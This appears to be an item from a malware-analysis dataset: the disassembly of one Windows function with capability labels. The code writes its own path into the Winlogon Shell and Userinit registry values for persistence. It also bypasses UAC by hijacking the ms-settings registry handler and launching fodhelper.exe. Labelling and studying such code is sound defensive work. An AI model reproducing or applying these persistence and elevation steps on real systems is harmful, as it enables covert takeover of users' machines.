Function at 0x140001250
Capabilities:
Create process on windows
Persist via default file association registry key
Persist via winlogon helper dll registry key
Self delete
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
xor edi, edi
mov qword [rsp + 0x58], rdi
mov dword [rbp - 0x18], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x58]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400014b6
lea rax, [rbp - 0x18]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x50]
mov edx, 0x14
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ebx, edi
test eax, eax
cmovne ebx, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1400014b6
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
mov qword [rbp - 0x20], rdi
mov qword [rsp + 0x50], rdi
mov r8d, 0x104
lea rdx, [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14000131f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.module_____lu_n
jmp 0x14000141e
lea r9, [rbp - 0x10]
lea r8, str.explorer.exe__s
mov edx, 0x136
lea rcx, [rbp + 0x100]
call fcn.140001bf0
lea r9, [rbp - 0x10]
lea r8, str.C:WindowsSystem32userinit.exe__s
mov edx, 0x168
lea rcx, [rbp + 0x240]
call fcn.140001bf0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001417
lea rcx, [rbp + 0x100]
mov rbx, 0xffffffffffffffff
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x140001397
inc eax
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x100]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Shell
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rax, [rbp + 0x240]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400013d4
inc ebx
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x240]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Userinit
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001425
lea rcx, str.registry_____lu_n
mov edx, eax
call fcn.140001010
mov ecx, 8
call fcn.140001c80
lea rcx, vtable.ExampleModule.0
mov qword [rax], rcx
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x50]
mov qword [rbp - 0x18], rcx
mov rdx, qword [rbp - 0x28]
cmp rdx, qword [rbp - 0x20]
je 0x140001465
mov qword [rsp + 0x50], rdi
mov qword [rdx], rax
add qword [rbp - 0x28], 8
jmp 0x140001474
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x30]
call fcn.1400019b0
nop
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140001489
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
nop
mov rdi, qword [rbp - 0x28]
mov rbx, qword [rbp - 0x30]
cmp rbx, rdi
je 0x1400014a8
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 8]
add rbx, 8
cmp rbx, rdi
jne 0x140001496
lea rcx, [rbp - 0x30]
call fcn.140001670
jmp 0x14000160d
mov r8d, 0x104
lea rdx, [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SoftwareClassesms_settingsShellOpencommand
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea rax, [rbp - 0x10]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], dil
jne 0x140001512
mov dword [rsp + 0x28], ebx
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rbx, [0x140003400]
mov rdx, rbx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.DelegateExecute
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0x60], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
mov qword [rbp - 0x3c], rax
mov dword [rbp - 0x34], eax
lea rax, str.runas
mov qword [rsp + 0x70], rax
lea rax, str.C:WindowsSystem32_fodhelper.exe
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x68], rdi
mov dword [rbp - 0x70], 1
lea rcx, [rsp + 0x60]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001601
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.elevate____false_n
lea rcx, str.elevate_____ld_n
cmp eax, 0x4c7
cmove rcx, rdx
mov edx, eax
call fcn.140001010
mov eax, 1
jmp 0x14000160f
lea rcx, str.elevate____true_n
call fcn.140001010
xor eax, eax
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.140001c60
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret